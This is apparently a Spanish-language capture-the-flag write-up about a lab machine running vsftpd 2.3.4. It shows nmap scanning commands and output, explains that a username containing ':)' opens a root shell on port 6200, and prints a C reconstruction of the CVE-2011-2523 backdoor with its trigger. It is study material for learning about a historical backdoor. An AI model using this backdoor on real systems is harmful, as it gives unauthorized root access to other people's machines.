Ir al contenido

Firsthacking

Autor
Santiago Chavarro

Descripción:
#

Una “maquina” si se puede llamar así muy simple que explota una backdoor en el servicio FTP en la versión vsftpd 2.3.4, en la cual si nos conectamos con un usuario que contiene “:)” abre el puerto 6200 con privilegios de root.

Enumeración
#

Con nmap vamos a escanear puertos, servicios y versiones:

sudo nmap -p- --open -vvv --min-rate 5000 -sS -Pn -n {IP} -oG allPorts
nmap -p21 -sVC -A {IP} -oN target

Encontraremos el puerto 21 con un servicio FTP y la versión vsftp 2.3.4:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     **vsftpd 2.3.4**
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Unix

vsftpd 2.3.4
#

Buscando esta versión del servicio encontramos que es una versión bastante vieja en la cual encontramos que hubo una backdoor que al momento de ingresar el usuario si encuentra los siguientes caracteres :) abre el puerto 6200 con permisos root al cual nos podemos conectar usando nc y obteniendo control total del sistema:

En este caso la contraseña no tiene importancia.

Análisis CVE-2011-2523
#

/* Backdoor añadida en vsftpd 2.3.4 (versión comprometida) */
static void vsf_sysutil_extra(void)
{
    int listenfd = 0;
    int connfd = 0;
    struct sockaddr_in serv_addr = {0};
    char *argv[] = { "/bin/sh", 0 };

    /* Crear socket */
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    /* Configurar estructura de dirección */
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(6200);  // Puerto backdoor

    /* Enlazar y escuchar */
    bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    listen(listenfd, 5);

    /* Aceptar conexión y redirigir I/O */
    connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
    dup2(connfd, 0);  // STDIN
    dup2(connfd, 1);  // STDOUT
    dup2(connfd, 2);  // STDERR

    /* Ejecutar shell interactiva */
    execve("/bin/sh", argv, NULL);
    close(connfd);
    close(listenfd);
}

/* Trigger en la autenticación (archivo `postlogin.c`) */
if (strstr(p_sess->user_str, ":)")) 
{
    vsf_sysutil_extra();  // Activa la backdoor si el usuario contiene ":)"
}
  1. Mecanismo de Activación:
    • El código verifica si el nombre de usuario (p_sess->user_str) contiene la cadena :).
    • No hay validación de contraseña: Cualquier input en el campo de password activa la backdoor.
  2. Funcionamiento de la Backdoor:
    • Crea un socket TCP en el puerto 6200 usando AF_INET (IPv4).
    • listen() permite hasta 5 conexiones simultáneas.
    • Al aceptar una conexión (accept()), redirige los descriptores de archivo:
      • dup2(connfd, 0..2) conecta STDIN/STDOUT/STDERR al socket.
    • Ejecuta /bin/sh con execve(), proporcionando una shell remota con privilegios de root (vsftpd suele ejecutarse como root).